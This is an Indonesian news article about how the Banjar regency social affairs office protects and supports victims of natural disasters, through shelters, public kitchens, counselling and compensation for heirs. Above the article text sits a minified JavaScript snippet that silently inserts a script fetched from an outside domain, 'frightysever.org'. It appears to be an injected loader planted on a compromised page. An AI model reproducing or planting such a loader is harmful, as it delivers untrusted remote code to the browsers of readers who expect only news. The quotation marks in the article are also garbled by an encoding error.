(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Sosial bertugas memberikan perlindungan dan jaminan sosial korban bencana alam. Tugas dan peran melaksanakan penyiapan perumusan kebijakan, koordinasi dan pelaksanaan kebijakan, evaluasi dan pelaporan di bidang perlindungan sosial korban bencana alam, perlindungan sosial korban bencana sosial, hingga jaminan sosial.
Begitu dipaparkan Kepala Bidang Perlindungan dan Jaminan Sosial Dinas Sosial Kabupaten Banjar Adi Kesuma Wijaya.
Kebijakan teknis perlindungan sosial korban bencana alam dari Dinsos meliputi, pengembangan Community Based Disaster Management (CBDM) secara komprehensif di lokasi rawan bencana, perluasan jangkauan sistem penanggulangan bencana bidang perlindungan sosial yang mendekati daerah rawan bencana sampai modernisasi manajemen logistik.
“Contohnya saja dalam keadaan darurat penanganan bencana dilakukan proses sheltering sebagai tempat tampung sementara, sehingga aman, nyaman, sehat dan bermanfaat serta mendapatkan dukungan layanan kebutuhan dasar yang memadai,†ujar Adi Kesuma Wijaya.
“Dinsos di sisi lain juga siap untuk mengadakan dapur umum lapangan penanggulangan bencana dengan alat-alat yang kita miliki saat ini,†katanya.
Lebih jauh Adi menambahkan, tak hanya semata kebutuhan perlindungan, untuk dukungan psiko sosial kepada korban bencana alam dalam siklus Penanggulangan Bencana (PB) pihaknya juga siap melakukan kegiatan pemulihan dan penguatan korban bencana hingga mengembalikan ke kehidupan normal.
“PB itu dibagi tiga seperti pra bencana, pada saat bencana dan pasca bencana. Sementara kegiatan PB itu sendiri diantaranya mulai dari pelatihan bimbingan teknis hingga konseling, kegiatan keagamaan, dan kelompok dukungan,†jelasnya.
Sementara untuk santunan yang diberikan kepada korban bencana biasanya diberikan kepada ahli waris, bantuan bahan bangunan rumah yang dilaksanakan secara gotong royong, bantuan isi hunian sementara/tetap, hingga bantuan jaminan hidup bagi korban bencana yang direlokasi permanen ke hunian tetap. (rendy)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.